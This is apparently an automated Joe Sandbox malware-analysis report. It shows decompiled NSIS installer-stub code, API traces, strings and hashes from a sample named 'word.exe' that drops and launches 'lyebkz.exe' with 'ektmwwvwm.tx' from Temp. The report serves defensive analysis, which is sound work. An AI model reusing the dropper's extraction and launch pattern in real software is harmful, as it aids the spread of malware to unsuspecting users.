lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,?,?,?,"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000000,00435800,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,7556D4C4), ref: 00403E18
lstrcmpiW.KERNEL32(?,.exe,"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,?,?,?,"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000000,00435800,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
GetFileAttributesW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,?,00000000,?), ref: 00403E36
LoadImageW.USER32 ref: 00403E7F

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

RegisterClassW.USER32 ref: 00403EBC
SystemParametersInfoW.USER32 ref: 00403ED4
CreateWindowExW.USER32 ref: 00403F09
ShowWindow.USER32(00000005,00000000), ref: 00403F3F
GetClassInfoW.USER32 ref: 00403F6B
GetClassInfoW.USER32 ref: 00403F78
RegisterClassW.USER32 ref: 00403F81
DialogBoxParamW.USER32 ref: 00403FA0

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403D4B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D1C
1033, xrefs: 00403D37, 00403D93
_Nb, xrefs: 00403E9B, 00403F03
.DEFAULT\Control Panel\International, xrefs: 00403D83
H7B, xrefs: 00403D43
RichEdit20W, xrefs: 00403F63, 00403F69
"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx, xrefs: 00403DDF, 00403DE8, 00403DF6, 00403E45, 00403E4B
RichEd32, xrefs: 00403F53
RichEd20, xrefs: 00403F45
RichEdit, xrefs: 00403F72
.exe, xrefs: 00403E25

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2688564648
Opcode ID: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
Opcode Fuzzy Hash: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D0 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E004030D0(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				long _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				long _t82;
				signed int _t89;
				intOrPtr _t92;
				long _t94;
				void* _t102;
				void* _t106;
				long _t107;
				long _t110;
				void* _t111;

				_t94 = 0;
				_v8 = 0;
				_v12 = 0;
				 *0x42a26c = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\Albus\\AppData\\Roaming\\word.exe", 0x400);
				_t106 = E00406158(L"C:\\Users\\Albus\\AppData\\Roaming\\word.exe", 0x80000000, 3);
				 *0x40a018 = _t106;
				if(_t106 == 0xffffffff) {
					return L"Error launching installer";
				}
				E00406668(0x436800, L"C:\\Users\\Albus\\AppData\\Roaming\\word.exe");
				E00406668(0x439000, E00405F83(0x436800));
				_t54 = GetFileSize(_t106, 0);
				 *0x420f00 = _t54;
				_t110 = _t54;
				if(_t54 <= 0) {
					L24:
					E0040302E(1);
					if( *0x42a274 == _t94) {
						goto L32;
					}
					if(_v12 == _t94) {
						L28:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t111 = _t57;
						E00406B90(0x40ce68);
						E00406187(0x40ce68,  &_v560, L"C:\\Users\\Albus\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileW( &_v560, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E004035F8( *0x42a274 + 0x1c);
							 *0x420f04 = _t65;
							 *0x420ef8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00403371(_v16, 0xffffffff, _t94, _t111, _v20); // executed
							if(_t68 == _v20) {
								 *0x42a270 = _t111;
								 *0x42a278 =  *_t111;
								if((_v40 & 0x00000001) != 0) {
									 *0x42a27c =  *0x42a27c + 1;
								}
								_t45 = _t111 + 0x44; // 0x44
								_t70 = _t45;
								_t102 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t111;
									_t102 = _t102 - 1;
								} while (_t102 != 0);
								 *((intOrPtr*)(_t111 + 0x3c)) =  *0x420ef4;
								E00406113(0x42a280, _t111 + 4, 0x40);
								return 0;
							}
							goto L32;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E004035F8( *0x420ef0);
					if(E004035E2( &_a4, 4) == 0 || _v8 != _a4) {
						goto L32;
					} else {
						goto L28;
					}
				} else {
					do {
						_t107 = _t110;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x42a274) & 0x00007e00) + 0x200;
						if(_t110 >= _t82) {
							_t107 = _t82;
						}
						if(E004035E2(0x418ef0, _t107) == 0) {
							E0040302E(1);
							L32:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x42a274 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E0040302E(0);
							}
							goto L20;
						}
						E00406113( &_v40, 0x418ef0, 0x1c);
						_t89 = _v40;
						if((_t89 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
							_a4 = _a4 | _t89;
							 *0x42a300 =  *0x42a300 | _a4 & 0x00000002;
							_t92 = _v16;
							 *0x42a274 =  *0x420ef0;
							if(_t92 > _t110) {
								goto L32;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v12 = _v12 + 1;
								_t110 = _t92 - 4;
								if(_t107 > _t110) {
									_t107 = _t110;
								}
								goto L20;
							} else {
								break;
							}
						}
						L20:
						if(_t110 <  *0x420f00) {
							_v8 = E00406B22(_v8, 0x418ef0, _t107);
						}
						 *0x420ef0 =  *0x420ef0 + _t107;
						_t110 = _t110 - _t107;
					} while (_t110 != 0);
					_t94 = 0;
					goto L24;
				}
			}

0x004030db
0x004030de
0x004030e1
0x004030fb
0x00403100
0x00403113
0x00403118
0x0040311e
0x00000000
0x00403120
0x00403131
0x00403142
0x00403149
0x00403151
0x00403156
0x00403158
0x00403243
0x00403245
0x00403251
0x00000000
0x00000000
0x0040325a
0x00403286
0x0040328b
0x00403296
0x00403298
0x004032a9
0x004032c4
0x004032cd
0x004032d2
0x004032f1
0x00403301
0x00403313
0x00403318
0x00403320
0x0040332d
0x00403335
0x0040333a
0x0040333c
0x0040333c
0x00403344
0x00403344
0x00403347
0x00403348
0x00403348
0x0040334b
0x0040334d
0x0040334d
0x00403357
0x00403363
0x00000000
0x00403368
0x00000000
0x00403320
0x00000000
0x004032d4
0x00403262
0x00403274
0x00000000
0x00000000
0x00000000
0x00000000
0x0040315e
0x00403163
0x00403168
0x0040316c
0x00403173
0x0040317a
0x0040317c
0x0040317c
0x00403187
0x004032e0
0x00403322
0x00000000
0x00403322
0x00403194
0x00403214
0x00403218
0x0040321d
0x00000000
0x00403214
0x0040319d
0x004031a2
0x004031aa
0x004031d0
0x004031df
0x004031e5
0x004031ea
0x004031f0
0x00000000
0x00000000
0x004031fa
0x00403202
0x00403205
0x0040320a
0x0040320c
0x0040320c
0x00000000
0x00000000
0x00000000
0x00000000
0x004031fa
0x0040321e
0x00403224
0x00403230
0x00403230
0x00403233
0x00403239
0x00403239
0x00403241
0x00000000
0x00403241

APIs

GetTickCount.KERNEL32(7556D4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Roaming\word.exe,00000400), ref: 00403100

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\AppData\Roaming\word.exe,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 004032A3
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D4
Null, xrefs: 004031C7
soft, xrefs: 004031BE
Inst, xrefs: 004031B5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403322
Error launching installer, xrefs: 00403120
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004030EA, 004030F9, 0040310D, 0040312A

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-565166287
Opcode ID: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
Opcode Fuzzy Hash: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405FAE( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"\"C:\\";
				if(_t35 == 0) {
					lstrcatW(E00405F37(E00406668(_t81, 0x436000)), ??);
				} else {
					E00406668();
				}
				E004068EF(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040699E(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406133(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00406158(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004056CA(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x42a2e8;
						goto L32;
					} else {
						E00406668(0x40b5f8, _t83);
						E00406668(_t83, _t81);
						E004066A5(_t77, _t81, _t83, "C:\Users\Albus\AppData\Local\Temp",  *((intOrPtr*)(_t86 - 0x1c)));
						E00406668(_t83, 0x40b5f8);
						_t64 = E00405CC8("C:\Users\Albus\AppData\Local\Temp",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x42a2e8 =  &( *0x42a2e8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E004056CA();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004056CA(0xffffffea,  *(_t86 - 8));
				 *0x42a314 =  *0x42a314 + 1;
				_t45 = E00403371(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x42a314 =  *0x42a314 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E004066A5(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E004066A5(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405CC8();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32 ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000000,00000000,"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32 ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32 ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Strings

"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx$C:\Users\user\AppData\Local\Temp
API String ID: 1941528284-2139043921
Opcode ID: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
Opcode Fuzzy Hash: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E

Uniqueness

Uniqueness Score: -1.00%

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004069C5(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004069dc
0x004069e5
0x004069e7
0x004069e7
0x004069eb
0x004069fe
0x004069f8
0x004069f8
0x004069f8
0x00406a17
0x00406a2b
0x00406a32

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
wsprintfW.USER32 ref: 00406A17
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Strings

UXTHEME, xrefs: 004069CE
\, xrefs: 004069ED
%s%S.dll, xrefs: 00406A11

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00403479 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00403479(intOrPtr _a4) {
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t34 =  *0x420ef4 -  *0x40ce60 + _a4;
				 *0x42a26c = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E0040302E(1);
					return 0;
				}
				E004035F8( *0x420f04);
				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
				 *0x420f00 = _t34;
				 *0x420ef0 = 0;
				while(1) {
					_t31 = 0x4000;
					_t11 =  *0x420ef8 -  *0x420f04;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E004035E2(0x414ef0, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x420f04 =  *0x420f04 + _t31;
					 *0x40ce80 = 0x414ef0;
					 *0x40ce84 = _t31;
					L6:
					L6:
					if( *0x42a270 != 0 &&  *0x42a300 == 0) {
						 *0x420ef0 =  *0x420f00 -  *0x420ef4 - _a4 +  *0x40ce60;
						E0040302E(0);
					}
					 *0x40ce88 = 0x40cef0;
					 *0x40ce8c = 0x8000; // executed
					_t14 = E00406BB0(0x40ce68); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x40ce88; // 0x40e779
					_t37 = _t36 - 0x40cef0;
					if(_t37 == 0) {
						__eflags =  *0x40ce84; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x420ef4;
						if(_t16 -  *0x40ce60 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0);
						goto L22;
					}
					_t18 = E0040620A( *0x40a01c, 0x40cef0, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce60 =  *0x40ce60 + _t37;
					_t49 =  *0x40ce84; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x00403489
0x0040349c
0x004034a1
0x004035d1
0x004035d3
0x00000000
0x004035d9
0x004034ad
0x004034c0
0x004034c6
0x004034cc
0x004034d7
0x004034dc
0x004034e1
0x004034e9
0x004034eb
0x004034eb
0x004034f4
0x004034fb
0x00000000
0x00000000
0x00403501
0x00403507
0x0040350d
0x00000000
0x00403513
0x00403519
0x00403539
0x0040353e
0x00403543
0x00403549
0x0040354f
0x00403559
0x00403560
0x00000000
0x00000000
0x00403562
0x00403568
0x0040356a
0x0040358d
0x00403593
0x00000000
0x00000000
0x00403595
0x00403597
0x00000000
0x00000000
0x00403599
0x00403599
0x004035ac
0x00000000
0x00000000
0x004035bb
0x00000000
0x004035bb
0x00403574
0x0040357b
0x004035c8
0x004035ce
0x004035ce
0x00000000
0x004035ce
0x0040357d
0x00403583
0x00403589
0x00000000
0x00000000
0x00000000
0x004035cc
0x004035cc
0x00000000
0x004035cc
0x00000000

APIs

GetTickCount.KERNEL32(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 0040348D

Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

